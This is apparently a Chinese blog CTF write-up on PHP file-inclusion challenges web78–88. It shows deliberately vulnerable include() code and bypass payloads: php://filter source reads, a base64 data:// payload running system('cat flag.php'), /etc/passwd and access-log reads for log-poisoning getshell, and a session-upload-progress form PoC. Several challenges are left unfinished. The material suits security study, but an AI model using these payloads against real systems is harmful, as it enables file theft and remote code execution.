【从0开始学web】78-88 文件包含

最新推荐文章于 2024-07-04 14:42:56 发布

yyyyzzzllll

最新推荐文章于 2024-07-04 14:42:56 发布

阅读量3.6k

点赞数 3

分类专栏： CTF系列问题 php 文章标签： php

本文链接：https://blog.csdn.net/yzl_007/article/details/120774737

版权

CTF系列问题同时被 2 个专栏收录

36 篇文章 3 订阅

订阅专栏

php

11 篇文章 0 订阅

订阅专栏

【从0开始学web】78-88 文件包含

文件包含题，可以先了解一下文件包含漏洞

https://blog.csdn.net/yzl_007/article/details/120261435

【从0开始学web】78-88 文件包含

web78

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

php://filter 伪协议读取，条件：allow_url_include = on

payload:?file=php://filter/convert.base64-encode/resource=flag.php

php://input 协议

php://input可以访问请求的原始数据的只读流，将post请求的数据当作php代码执行。当传入的参数作为文件名打开时，可以将参数设为php://input,同时post想设置的文件内容，php执行时会将post内容当作文件内容。

注：当enctype=”multipart/form-data”时，php://input是无效的。

参考：https://www.cnblogs.com/endust/p/11804767.html

web79

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

将php替换成???

?file=php://filter/convert.base64-encode/resource=flag.php php:// 会被替换，用不了，就用input:// 吧

str_replace 函数区分大小写，可以大小写绕过，将上一题的php改为PHP即可

或者php://data 协议，将命令转义成base64

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

将data也替换 ,data://也用不了了，继续php://input

在这里插入图片描述

web81

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

冒号也被过滤了，伪协议用不了，日志包含getshell

?file=/etc/passwd 是可以回显的，再查看一下能不能找到日志

在这里插入图片描述

?file=/var/log/nginx/access.log 也是存在回显的

在这里插入图片描述

然后日志注入

在这里插入图片描述 ## web82

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);

禁用的data、php、：、. 多禁用了一个点，虽然访问不到access.log ,换个思路了得，只能找一个不带.路径的文件,所以选择了session会话文件，可以先了解一下下面这篇文章：利用session.upload_progress进行文件包含

如下代码构造一个上传的攻击，

#poc.php
<!DOCTYPE html>
<html>
<body>
<form action="ip地址" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

在这里插入图片描述

然后再不断请求

这里参考这篇文章吧，https://www.cnblogs.com/NPFS/p/13795170.html ，没实验成功。。。

web83-86 (未完待续)

web87

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

参考：https://www.leavesongs.com/PENETRATION/php-filter-magic.html#_2 暂时没做出来

web88

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}